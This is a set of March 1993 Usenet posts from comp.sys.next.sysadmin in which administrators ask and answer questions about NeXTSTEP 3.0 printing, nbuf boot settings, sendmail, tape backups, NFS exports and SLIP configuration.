From: berteig@skorpio.usask.ca (Mishkin Berteig) Newsgroups: comp.sys.next.sysadmin Subject: Mounted hard drive and user accounts Date: 3 Mar 1993 20:19:46 GMT Organization: University of Saskatchewan, Saskatoon, Canada Sender: berteig@before.usask.ca (Mishkin Berteig) Message-ID: <1n33t2INN8qe@access.usask.ca> I am having difficulty making user accounts "hold" their permissions on a mounted disk. I have followed the directions in the system admin manuals (2.0) which say that this can be solved by adding an entry for the mounted disk to the /etc/fstab file. This does not seem to help. In watching the bootup messages, the computer says that it is "faking root mounts". Does this have something to do with it? The computer is using NS3.0 so perhaps there is additional configuration required. This is fairly critical because the main hard drive does not have enough room for both the OS and user accounts. (To work around this problem, I have tried moving the user accounts onto the root disk and moving NextLibrary and NextApps onto the mounted disk - and linking to them, but the system won't boot in this configuration.) Any suggestions would be greatly appreciated. Please respond by e-mail. Thanks in advance. Mishkin Berteig berteig@before.usask.ca NeXTMail accepted
Newsgroups: comp.sys.next.sysadmin From: irving@Happy-Man.com (Irving_Wolfe) Subject: Re: What is the max value for nbuf? Message-ID: <1993Mar3.194617.25726@Happy-Man.com> Organization: Happy Man Corp., Vashon Island, WA 98070-7399 References: <1mvv3dINNjm1@tamsun.tamu.edu> <1n0c47INNbq3@menudo.uh.edu> Date: Wed, 3 Mar 1993 19:46:17 GMT In <1n0c47INNbq3@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S. Sears) writes: >We use a value of 128, i.e, sdmach- nbu=128 (less than 12 characters!) I was once cautioned by Next not to exceed 64 buffers (no reason given), even though one can. Can anyone clarify this point? -- Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108 We publish SOLID VALUE for the intelligent investor. NextMail OK Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.sysadmin From: spagiola@frinext.stanford.edu (Stefano Pagiola) Subject: Re: Icon.app Patch Message-ID: <1993Mar3.215932.11912@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1n3369INN8al@access.usask.ca> Date: Wed, 3 Mar 93 21:59:32 GMT Mishkin Berteig writes > I was wondering if anyone out there knows what shared > libraries need to be moved around and to where in order > for the patched Icon.app to work under NS3.0? > There's instructions in Sonata, in file Iconand3.0 (or something like that) as well as a little app that will do the actual patch (IconPatch.app). However, I have had absolutely no luck in getting this to work (symptom: Icon crashes immediately after loading), despite following the instructions to the letter. Might this be because I can only get at 2.0, rather than 2.1, shared libraries? -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@frinext.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
From: sayre@bird (Kirk Sayre) Newsgroups: comp.sys.next.sysadmin Subject: Printing via Transcript Date: 3 Mar 1993 22:05:23 GMT Organization: CSIS American University Distribution: world Message-ID: <1n3a33INNbdv@au-ns.american.edu> We are having some strange problems running a QMS-PS410 postscript printer in a NIS Unix network with a NeXt cube as the network print server. It seems that the problem is happening with the Transcript software that we are using for the filters in the printcap. For some reason every now and then the Transcript postscript filter thinks that some lines in the PostrScript file to be printed are longer than 255 characters, even though there really are no lines longer than 255 characters. After thinking that a line is longer than 255 characters, it truncates everything over 255 characters, and tries to continue parsing the PostScript. Of course it then fails, since it lost important PostScript code when it truncated the line. Does anyone out there use Transcript have any idea what could be going wrong? Or at least know where I could order some Transcript documentation, since whoever set Transcript up lost the documentation. Thanks, Kirk Sayre sayre@tosh.cas.american.edu
From: disc@vector.intercon.com (David Casti) Newsgroups: alt.wais,comp.sys.next.sysadmin,comp.infosystems.wais,comp.infosystems.gopher Subject: Gopher and WAIS Date: 3 Mar 1993 22:19:08 GMT Organization: InterCon Systems Corporation Distribution: world Message-ID: <1n3assINNkvo@intercon.intercon.com> Hi, I am still looking for anyone who has successfully compiled gopherd and waisserver on a NeXT and was able to get them talking. I have them compiled and running, but they won't talk to each other... Every time I try to do a wais query from gopher, it fails and the following appears in my wais log: 1314: 9: Feb 24 15:29:07 1993: 1: Accepted connection from: vector.intercon.com [149.52.1.130] 1314: 10: Feb 24 15:29:07 1993: 100: Child PID = 1379 1380: 999999: Feb 24 15:29:07 1993: -1: Fatal Error: Incompatable header versions (Current version: 2, supplied version: c. Can anyone help? David. ============================================================================= David Casti Internet: disc@vector.intercon.com Technical Support Engineer InterCon Systems Corporation Phone: (703) 709-5554 950 Herndon Parkway, Suite 420 FAX: (703) 709-5555 Herndon, Virginia 22070 ============================================================================= No official InterCon correspondence will ever have vector.intercon.com as the return address. =============================================================================
Newsgroups: comp.sys.next.sysadmin From: ian_stewart@pyrian.com (Ian H. Stewart) Subject: Driver for NXCd-rom to Mac Message-ID: <1993Mar3.211844.297@pyrian.com> Sender: ian@pyrian.com Organization: PYRIAN - Software Group, San Francisco Calif, 415-664-1170 Date: Wed, 3 Mar 1993 21:18:44 GMT I am looking for the driver(s) I need to get my NeXT CD-ROM to work on Macintosh Classic II. Thanks. -- Ian H. Stewart | voice/fax 415-664-1170 Pyrian Software Group | CIS 71101,1260 Always looking for new SW to market | Net Ian_Stewart@pyrian.com NeXT,Mac,PC & Sun | Isn't LiFE more like RiSK?
From: Matthias Imhof <gondwana@basalt.mit.edu> Newsgroups: comp.sys.next.sysadmin Subject: printing on remote postscriptprinters Date: 4 Mar 1993 00:50:01 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <1n3jnpINNcho@senator-bedfellow.MIT.EDU> we do have two remote postscript printers. the problem with them is that you always have to specify the -v flag in the lpr command (e.g. lpr -Plw -v xxx.ps) the remote computers/printers dont recognize postscript themselves, you have to specify it with the -v flag. to do it from unix is no problem. the problem is to do it from nextstep. before my upgrade to 3.0 i achieved that with the following trick. i defined a dummy printers plw2 which called a script file. all this script file did was to call lpr with the correct flag for the printer lw2. a copy of that script file is following right here: #!/bin/sh ##/usr/local/etc/plw2 lpr -Plw2 -v this was the printcap entry which i used for it: plw2|plaserwriter2|plaser2|PQMS-PS-800-2|plw2: \ :lp=/dev/null:sh=false:sd=/usr/spool/plw2d:of=/usr/local/etc/plw2: \ :ty=QMS-PS 800 Plus: now after upgrading to 3.0 this doesnt work anymore. i also tried another way which is to have the vf filter always in the if filter. this could be done with the following printcap entry: plw2|plaserwriter2|plaser2|pQMS-PS-800-2|plw2: \ :lp=:if=vf:rm=baron:rp=lw2:sd=/usr/spool/lw2d:ty=QMS-PS 800 Plus: but this approach doesnt work either. has anyone an idea how i could convince the nextstep print command to call a 'lpr -v' command? --- *************************************************************************** * Matthias G.Imhof phone: (617) 253 7835 * * MIT Earth Resource Lab E34/370 fax: (617) 253 6385 * * 42 Carlton St * * Cambridge MA 02142 email: mgi@erl.mit.edu * * There is no dark side of the moon really. Matter of fact it's all dark * ***************************************************************************
Newsgroups: comp.sys.next.sysadmin From: tlm@iastate.edu (Tom Marchioro) Subject: Re: Icon.app Patch Message-ID: <tlm.731203168@scl1.al.iastate.edu> Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA References: <1n3369INN8al@access.usask.ca> <1993Mar3.215932.11912@leland.Stanford.EDU> Date: Wed, 3 Mar 1993 23:59:28 GMT In <1993Mar3.215932.11912@leland.Stanford.EDU> spagiola@frinext.stanford.edu (Stefano Pagiola) writes: >Mishkin Berteig writes >> I was wondering if anyone out there knows what shared >> libraries need to be moved around and to where in order >> for the patched Icon.app to work under NS3.0? >> >There's instructions in Sonata, in file Iconand3.0 (or something like >that) as well as a little app that will do the actual patch >(IconPatch.app). However, I have had absolutely no luck in getting >this to work (symptom: Icon crashes immediately after loading), >despite following the instructions to the letter. Might this be >because I can only get at 2.0, rather than 2.1, shared libraries? No, it means you've done everything perfectly, since now Icon is working exactly the same under 3.0 as it once did under 2.0 :) :) :) :) My favorite aspect of Icon (the App with the best "autoquit" in the business is that when you *DO* want to quit it queries if that's what you really want. As if now all of a sudden it cares...... :) TLM
From: Matthias Imhof <gondwana@basalt.mit.edu> Newsgroups: comp.sys.next.sysadmin Subject: printers in 2.0 Date: 4 Mar 1993 01:07:05 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <1n3knpINNdds@senator-bedfellow.MIT.EDU> could someone tell me if there exists a file/link/device in nextstep2.0 called /dev/lpd/printer ? i can not find it on my tar tape, but the printer daemon asks for it matthias
From: infidel+@CMU.EDU (Charles William Swiger) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Re: What is the max value for nbuf? Message-ID: <0fYtMQS00WB5BmRrNO@andrew.cmu.edu> Date: 2 Mar 93 17:15:08 GMT Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA In-Reply-To: <1mvv1pINNjkt@tamsun.tamu.edu> Excerpts from netnews.comp.sys.next.hardware: 2-Mar-93 What is the max value for n.. by Bryan Milligan@kolsky.ta > I know this subject has probably come up a number of times, but > what is the maximum value of nbuf that I can specify on bootup? Is > there a way to make it default? I know the ROM monitor only allows > twelve characters, but I use something like this > bsd sdmach nbuf=xxx Enter the hardware monitor. Hit 'p' to adjust the configuration parameters. It will respond "Boot command: <something>? " Enter "sd- nbu=xxx", where xxx is a number less than 256. > Just looking for a good use for 48MB of RAM. 8-) Nice amount of system memory, there... -Chuck Charles William Swiger -- CMU...*crunch*! | "Foosh. Aaughh!!" ------------------------------------------+ "Foosh. Aauuggghh!!" AMS & normal mail: infidel@cmu.edu | "Cold spray deodorant...." Failing that: cs4w+@andrew.cmu.edu | NeXTmail: chuck@mon.slip.andrew.cmu.edu | -- Opus, Bloom County [RIP]
Newsgroups: comp.sys.next.sysadmin From: bobcook@slac.stanford.edu (Bob Cook) Subject: Standard output from cron jobs Message-ID: <C3CHnx.AsG@unixhub.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center Date: Thu, 4 Mar 1993 03:28:44 GMT Can someone please tell me where standard output from a cron job goes? On the other Unix systems I've seen, it goes into mail to the cron job owner. But I can't find it on a NeXT. Thanks. -- Bob Cook bobcook@slac.stanford.edu Stanford Linear Accelerator Center NeXT mail okay
From: roder@mayo.edu (Mark N. Roder) Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin Subject: 5.65c+IDA 1.4.4 does generics work Message-ID: <1993Mar3.202657.7762@bmw.mayo.edu> Date: 3 Mar 93 20:26:57 GMT Article-I.D.: bmw.1993Mar3.202657.7762 Sender: newsman@bmw.mayo.edu (Usenet News Administrator) Organization: Mayo Foundation, Rochester MN. Campus I am using NeXTSTEP 3.0, sendmail 5.65c, and IDA 1.4.4 I am trying to get the GENERICS part of sendmail+ida to work. I get the following message > development:12# /etc/sendmail/sendmail.ida -bt -C/etc/sendmail/mayo.cf > ADDRESS TEST MODE > Enter <ruleset> <address> > [Note: No initial ruleset 3 call] > > 3,5 someone > rewrite: ruleset 3 input: someone > [munch munch] > rewrite: ruleset 4 returns: someone @ development > can't open database 'G' [/etc/sendmail/lib/generics]: No such file or directory > rewrite: ruleset 5 returns: < > , % development , someone > > But I have: > development:13# ls -alg /etc/sendmail/lib/generics > -rw-r--r-- 1 root wheel 14 Mar 2 17:02 /etc/sendmail/lib/generics > Anybody get this to work on a NeXT running 3.0? Any ideas on where to look for problems? Thanks -- Mark Roder NeXT Consultant, Mayo Foundation NeXT Mail: roder@mayo.edu Office Vision: mroder phone: (507) 284-5306
From: Hanan.Herzog@f236.n104.z1.FIDONET.ORG (Hanan Herzog) Newsgroups: comp.sys.next.sysadmin Subject: Re: NEED TAPE DRIVE RECOMMENDATIONS Message-ID: <483.2B9544F5@paranet.FIDONET.ORG> Date: 2 Mar 93 21:49:00 GMT Sender: ufgate@paranet.FIDONET.ORG (newsout1.26) Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO -- Hanan Herzog - via ParaNet node 1:104/422 UUCP: !scicom!paranet!User_Name INTERNET: Hanan.Herzog@f236.n104.z1.FIDONET.ORG
From: Christian.Andretzky@mb3.tu-chemnitz.de (Christian Andretzky) Newsgroups: gnu.utils.bug,gnu.misc.discuss,comp.sys.next.sysadmin,comp.sys.next.misc Subject: Urgent help needed using gnu-tar to backup a mixed network Message-ID: <gnusenet1993Mar4.004231.20969@mb3.tu-chemnitz.de> Date: 4 Mar 93 00:42:31 GMT Article-I.D.: mb3.gnusenet1993Mar4.004231.20969 Followup-To: gnu.utils.bug,gnu.misc.discuss,comp.sys.next.sysadmin,comp.sys.next.misc Distribution: world Organization: University of Technology Chemnitz, FRG Apparently-To: bug-gnu-utils@prep.ai.mit.edu Hi, I try to use gnu-tar to do backups in a mixed network (suns and NeXTs) But I can't get it working. I've tried the tar versions 1.10, 1.11 and 1.11.1 with no success. My configuration: NeXT cube with a HP 35480 DAT tape, suns and other nexts to backup with this tape. Backing up another next in this configuration works with the exception tar 1.11.1 - if I use this version I get sometimes - really sometimes altough neither the hardware nor the software setup has been changed the error segmentation fault. But if I try to backup a sun the whole thing will hang. If I use tar 1.11.1 after a very long time (appr. 1 hour of waiting) I get the message can't open host:/dev/nrst0 I/O error and the backup fails. If I use tar 1.10 the whole procedure hangs with no message and for any time so I have to kill it. I've tried to use the usual methods to backup the sun (from the next: rsh sun tar cf next:/dev/nrst0 ..., rsh sun tar cf - | rsh next dd ..., from the sun the same ways without rsh) none of them was working. The rsh processes on the sun (rmt and tar) are waiting (flags IW), the processes on the next are also waiting (flags SW). But if I use (on the sun) rsh otherhost tar cf next:... to backup a remote file system which are not located on the sun but on any other host in the network or rsh next cf /dev/nrst0 ... to backup a local filesystem on the tapehost it works. Finally I've (temporary, because the sun is located in a public accessible room) connected the tape device directly to the sun and all seems to work. Please could somebody tell me what I'm doing wrong TIA, Christian -- Name: Christian Andretzky | Address: Technische Universitaet Chemnitz | Phone: +49 371 561 2130 | Fachbereich Maschinenbau III | FAX: +49 371 561 2413 | Reichenhainer Str. 70 | mail: Christian.Andretzky@TU-Chemnitz.DE D-O-9022 Chemnitz |
From: kramer@fragile.UUCP (Mike Andrews) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Printing over TCP/IP (NON-PostScript) Distribution: world Message-ID: <731229691snx@fragile.UUCP> Date: Thu, 04 Mar 93 07:21:31 GMT Organization: Terminal Frost This is going to sound like a RTFM type question, but I've been R'ing all the FM's I can find... I've got a 386/40 running OS/2 2.0, with a Panasonic KX-P1124 printer and TCP/IP for OS/2. I want it to be the print server for my NeXTstation. The NeXT manuals are not very good on how to go about setting this mess up, and not knowing much about /etc/printcap dosen't help... So far I've tried adding a printer of type "IBM Proprinter X24" (or whatever) in the NeXT's PrintManager (this is NeXTstep 3.0), but it dosen't seem to have a selection for changing which host it's on -- it just sorta assumes it's a local printer. I've tried nidump'ing printcap, trying to edit it so it points to the other machine, and niload'ing it back, but then the NeXT just says "can't find printer" over and over. All I did to printcap inbetween was add an rm and rp line. Obviously, I'm a complete newbie to this. Can someone (by email, not by posting) step me though this mess bit by bit, or show me where it's hidden in the docs/FAQ's? (I've looked in both, and in all the release notes, but maybe I'm overlooking something...) I'm assuming the OS/2 end is set up OK, because I've been able to use "lpr -plpt1 -sos2hostname filename" from itself. Thanks much... mail responses to kramer@wittenberg.edu or fragile!kramer@ms.uky.edu please.. -- Mike Andrews school... kramer@wittenberg.edu (or kramer@wittenbg.bitnet) bedroom... root@fragile.uucp [NeXTmail OK] hometown... kramer@mik.uky.edu
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.sysadmin Subject: Re: Fonts and non-NeXT PS-printers? Message-ID: <1127@rtbrain.rightbrain.com> Date: 4 Mar 93 08:02:46 GMT References: <1109@rtbrain.rightbrain.com> Sender: glenn@rightbrain.com Martin Wennerberg writes > (I know this question has appeared before but I have not found an answer.) > > When printing to a PS-printer other than NeXT 400dpi Laserwriter > the NeXT printing demon does not download fonts that are not in the > printer memory. How can I make this work? If you're running NeXTSTEP 3.0, You can use the "Save" button on the print panel and then select "PostScript for Chosen Printer / Include Fonts" or whatever it says, and it should put the fonts in-line for you. This is predicated on use of the Font Manager part of the appkit, I believe, so it can figure out which fonts you have used and do the right thing. I know that it doesn't work with FrameMaker, for example, but most NeXT apps drop in the fonts okay. -- Glenn Reid NeXTmail: glenn@rightbrain.com RightBrain Software 415-326-2974 (NeXTfax 326-2977) Palo Alto, California Electronic Frontier Foundation, member #054
Newsgroups: comp.sys.next.sysadmin From: alberto@parsec.mixcom.com Subject: NFS mounted /LocalApps crashes on client root access Message-ID: <1993Mar3.233428.381@parsec.mixcom.com> Organization: SmartSoft, Inc. Date: Wed, 3 Mar 1993 23:34:28 GMT NetLand, I just finished making our two NeXT's network only to find that on the client machine selection of the /LocalApps directory (mounted on the client as /LocalApps) will cause immediate death to the Workspace, if accessed (opened/selected) as root. The strange thing is that there are no problems when opening or selecting as any other user. Has anyone seen this behaviour before? If so what is the solution! Please reply to alberto@parsec.mixcom.com Thanks, -- Manuel Alberto Ricart alberto@parsec.mixcom.com <NeXTMail Welcome>
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: printers in 2.0 Message-ID: <1993Mar4.081129.27520@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1n3knpINNdds@senator-bedfellow.MIT.EDU> Date: Thu, 4 Mar 1993 08:11:29 GMT In article <1n3knpINNdds@senator-bedfellow.MIT.EDU> <1n3knpINNdds@senator-bedfellow.MIT.EDU> writes: >could someone tell me if there exists a file/link/device in nextstep2.0 >called /dev/lpd/printer ? No. lpd creates a UNIX-domain socket called /dev/printer--that may be what you're thinking of. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Executor-why must I be root? Message-ID: <1993Mar4.082357.28173@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993Mar1.171120.13158@nosc.mil> <CEDMAN.93Mar1183456@capitalist.princeton.edu> Date: Thu, 4 Mar 1993 08:23:57 GMT 3. The last time I looked at the demo version, ARDI had included complete source code for the LKS, so you could see exactly what it was doing, or recompile it if you didn't trust the binary. (Also, I assume one can invoke kl_util from /etc/rc.local and eliminate the need for Executor to ever run as root? Cliff?) -=EPS=-
From: infidel+@CMU.EDU (Charles William Swiger) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Re: What is the max value for nbuf? Message-ID: <wfZFe7u00YUoI8mtVj@andrew.cmu.edu> Date: 3 Mar 93 10:52:23 GMT Article-I.D.: andrew.wfZFe7u00YUoI8mtVj Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA In-Reply-To: <1993Mar3.181720.432@cbnewsj.cb.att.com> Excerpts from netnews.comp.sys.next.hardware: 3-Mar-93 Re: What is the max value f.. by veenu.r.rashid@cbnewsj.c > Just to add my two bits - this does not work. I try: > > bsd- nbu=64 (11 chars) > > and I get a message: > > cannot boot: drive not found > > or something like this. (BTW: someone *please* email me the default > configuration) I have tried resetting it via the 'p' command in the > monitor to bsd, bsd sdmach, bsd(0,0,0), b sd(0,0,0) all to no avail. > > The machine refuses to boot by itself on startup now. > > However, typing 'bsd- nbu=64' as a command works fine, as does > 'bsd sdmach nbuf=64' My apologies if this does not show up as quickly as I'd like (CMU's news machines are having problems, and falling a day or so behind....) You type "bsd- nbu=64" at the monitor prompt, which means "boot" with boot command "sd- nbu=64". To set the boot command permenently, set "boot command: <foo-bar>? " to "sd- nbu=xxx" using the 'p' command at the monitor prompt. -Chuck (posted 3:40EST 3/3/93) Charles William Swiger -- CMU...*crunch*! | "Foosh. Aaughh!!" ------------------------------------------+ "Foosh. Aauuggghh!!" AMS & normal mail: infidel@cmu.edu | "Cold spray deodorant...." Failing that: cs4w+@andrew.cmu.edu | NeXTmail: chuck@mon.slip.andrew.cmu.edu | -- Opus, Bloom County [RIP]
Newsgroups: comp.sys.next.sysadmin From: lees@pomegranate.stanford.edu (David Lees) Subject: Swapping to a raw disk partition Message-ID: <1993Mar4.105554.4399@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Thu, 4 Mar 93 10:55:54 GMT A while back there was some discussion about configuring a NeXT to swap to a device (or partition) rather than a swap file. As I recall, this will provide a significant performance improvement. I can't find any documentation about how to configure swapping this way in the man pages or digital librarian. Can anyone tell me how to make this happen ? Thanks, Dave
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: What is the max value for nbuf? Date: 4 Mar 1993 15:16:36 GMT Organization: University of Houston Message-ID: <1n56gkINNn1h@menudo.uh.edu> References: <1993Mar3.194617.25726@Happy-Man.com> In article <1993Mar3.194617.25726@Happy-Man.com> irving@Happy-Man.com (Irving_Wolfe) writes: #In <1n0c47INNbq3@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S. Sears) writes: #>We use a value of 128, i.e, sdmach- nbu=128 (less than 12 characters!) # #I was once cautioned by Next not to exceed 64 buffers (no reason #given), even though one can. Can anyone clarify this point? #-- # Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101 # 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108 # We publish SOLID VALUE for the intelligent investor. NextMail OK #Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com Actually, we were warned by NeXT that the MAX _safe_ value is 128 which is 1M of memory (there were reported problems with values > 128). Your actual mileage may vary... Most of our clients have nbu=64 (512K) but our servers were taking a performance hit until we upped the value to 128. We have not had any problems with our servers. There are others posting on the net that say to use nbuf=256 (2M), but we are reluctanct to go that high. Just pick a value you are comfortable with (but, unless you have some really busy servers, like we do, then nbuf=64 is probably a good, safe amount). Our two servers, btw, serve 51 NeXT clients and have 5G of user accounts... :-) -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: shviid@magnus.acs.ohio-state.edu (Steen H Hviid) Subject: remote backup to DAT drive Message-ID: <1993Mar4.164103.21317@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Distribution: usa Date: Thu, 4 Mar 1993 16:41:03 GMT I am trying to backup a remote NeXT to the DAT drive attached to my NeXT. The remote system is a server for several users, so the backup process must be root to get everybodys files. I do not wish to grant a 'foreign' root access to my NeXT, rather only as a regular user. The remote system is not 'trusted'. I tried to create a user named 'rbackup' on the remote system, with root access (user 0), but my system still consider it to be root, which is not strange now I think of it, the remote system does a lookup of the name and finds 'root' to match user 0. The only thing we can think of now is to have a cron job on my system create an /.rhosts file for the duration of the unattended backup, and delete it when it is supposed to be completed. Does anyone have a better idea? Thanks Steen Hansen Computer Specialist Ohio State University
From: eilts@late.e-technik.uni-erlangen.de (Hinrich Eilts) Newsgroups: comp.sys.next.sysadmin Subject: Re: What is the max value for nbuf? Date: Thu, 4 Mar 1993 18:55:57 GMT Organization: LATE, Uni-Erlangen, Germany Message-ID: <1n5jbtE5j9@uni-erlangen.de> References: <1993Mar3.194617.25726@Happy-Man.com> <1n56gkINNn1h@menudo.uh.edu> I'm using nbuf=256 since months without problems. -- Bye | G i b D O S | Hinrich Eilts | k e i n e | (e-mail: eilts@late.e-technik.uni-erlangen.de) | C h a n c e ! |
From: sayre@bird (Kirk Sayre) Newsgroups: comp.sys.next.sysadmin Subject: Transcript Date: 4 Mar 1993 18:29:05 GMT Organization: CSIS American University Distribution: world Message-ID: <1n5hphINNrdk@au-ns.american.edu> Does anyone know where I can get some documentation for the Transcript print filtering system? Kirk Sayre sayre@tosh.cas.american.edu
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: NFS exports to netgroups Message-ID: <1993Mar4.191433.500@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation Distribution: usa Date: Thu, 4 Mar 1993 19:14:33 GMT I am experiencing problems exporting directories from the server to netgroups. In NFSManager, I export a directory with default NONE access, and add a netgroup (already defined by adding it to host entries in HostManager) to have Read or Read & Write access. However, after rebooting both server and client, I am unable to access the directory from any of the hosts in the netgroup, and in the boot messages (or the console on the server) I get Bad Authentication errors. Any ideas?
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: sendmail.mailhost.cf Message-ID: <1993Mar4.194751.1450@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation Distribution: usa Date: Thu, 4 Mar 1993 19:47:51 GMT I have set up a network of 3.0 slabs on an existing LARGE net, so I set up my own mailhost, which I want to take care of delivering mail within my NetInfo domain. No problems doing so this far. The domain name (internet domain name), mitre.org, is also the name of the central mail distribution facility. Unfortunetly, the Next mailhost interprets all mail to user@mitre.org to be user@LOCAL, i.e. a local user. Instead, it should pass it to the central mail distribution facility. Do you know of an easy way of correcting this? Right now I am doing so by rewriting sendmail.mailhost.cf's rewrite rule 6 (S6) to include the following: # 022493 JDB: Added a rewrite rule to rule set 6 to handle the user@mitre.org case R$*<@$=m> $1%$m<@$R.LOCAL> pass to mail-relay # The mail-relay is set to mwunix in the netinfo machines entry. Isn't there a cleaner way to do this? Thanks, Jason D. Blue The MITRE Corporation
Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin From: aultj@rpi.edu (Jim Ault) Subject: Re: 5.65c+IDA 1.4.4 does generics work In-Reply-To: roder@mayo.edu's message of 3 Mar 93 20:26:57 GMT Message-ID: <AULTJ.93Mar4150751@jacob.rpi.edu> Organization: Rensselaer Polytechnic Institute References: <1993Mar3.202657.7762@bmw.mayo.edu> Date: Thu, 4 Mar 1993 20:07:51 GMT In article <1993Mar3.202657.7762@bmw.mayo.edu> roder@mayo.edu (Mark N. Roder) writes: I am trying to get the GENERICS part of sendmail+ida to work. I get the following message > can't open database 'G' [/etc/sendmail/lib/generics]: No such file or directory But I have: > development:13# ls -alg /etc/sendmail/lib/generics > -rw-r--r-- 1 root wheel 14 Mar 2 17:02 /etc/sendmail/lib/generics Anybody get this to work on a NeXT running 3.0? Any ideas on where to look for problems? Generics is a dbm database. You need to build that database (.dir and .pag files) from the flat file you have already created. Use the following command after changing to that directory: dbm -L make generics generics The dbm command is found and built in the ida/aux directory of the distribution. This same command will work to rebuild all the other dbm databases you might want to use with IDA like mailertable, domaintable, etc. I have no experience with Next's using this package, but this is the way it works for me on Suns. -- Jim Ault, ITS Systems Programmer, RPI, Troy, NY 12180 USA aultj@rpi.edu <><
From: berteig@skorpio.usask.ca (Mishkin Berteig) Newsgroups: comp.sys.next.sysadmin Subject: Thanks for help with Icon.app patch and mounted disk Date: 4 Mar 1993 18:28:17 GMT Organization: University of Saskatchewan, Saskatoon, Canada Sender: berteig@before.usask.ca (Mishkin Berteig) Message-ID: <1n5ho1INNkc1@access.usask.ca>
Newsgroups: comp.sys.next.sysadmin From: uunet!sci34hub!tybrin4!trey (Trey McClendon) Subject: Strange pop snd during login from WorkSpace Message-ID: <1993Mar4.134213.29091@tybrin4.uucp> Sender: trey@tybrin4.uucp Organization: TYBRIN Corporation, Huntsville AL Distribution: usa Date: Thu, 4 Mar 1993 13:42:13 GMT Hi All, My slab, NS 3.0 - equipped, recently starting producing the pop.snd sound during login. It occurs between when the login window disappears and when the File Viewer and Dock appear. I cannot for the life of me remember what I could have done to make this happen. Does anybody know in general what causes this? Maybe some file missing? Everything else works OK. Trey Trey McClendon tybrin4!trey@sci34hub.sci.com
Newsgroups: comp.sys.next.sysadmin From: dave@fosters.huma.yorku.ca (David Aspinall) Subject: Re: Help with SLIP Message-ID: <1993Mar5.041415.6408@newshub.ccs.yorku.ca> Sender: news@newshub.ccs.yorku.ca (USENET News System) Organization: York University, Humanities Department References: <CEDMAN.93Feb25214203@capitalist.princeton.edu> Date: Fri, 5 Mar 1993 04:14:15 GMT cedman@princeton.edu (Carl Edman) writes: : : You can do better. If your terminal server is among the more common : types you can write scripts for Louis Mamakos dialupip (which I take : it you are using ? -- there are also other SLIP packages for the NeXT) : which gets the IP address from the remote server on connect and then : configures your system to have that address. If you do this make : certain that starting dialupip doesn't happen in rc.local (as the : documentation suggestion), but much earlier eg. right after the syslog : daemon is started in rc. This is necessary as some daemons (like eg. : sendmail) get the local hostname once on startup and hence dialupip : must have connected and re-configured the hostname before they start. : This is the best you can do with local configuration and works : reasonably well once you have the configuration done correctly -- but : getting there is not for the faint of heart. : : If you want a better solution, convince your SLIP administrator to do : what the SLIP administrator here at Princeton does ie. configure the : server so that you can chose your own hostname (with password : protection) when you start slip. This is the proper solution in the : long run, but getting some admins to do things right can take a long : time. : : Carl Edman : I have a situation where I want to dial in on demand [ala SlipCommander] How can I configure my Host address on the fly. Take it for granted that my University will not be doing the "right" thing. So I dial in to the SLIP modems, and I am assigned one of 6 SLIP addresses. What do I do now? Even if I cannot use sendmail, how can I get the connection to work for other packet services [like ftp, and telnet?] ? Busy digging through the SLIP manual.. David -- David Aspinall ---------- Former-Former-NeXT Campus Consultant E-mail : cs911409@ariel.yorku.ca | I'd rather be NeXTMail: dave@ccs.yorku.ca | rich than stupid V-mail : (416) 663-4997 | -- Jack Handey
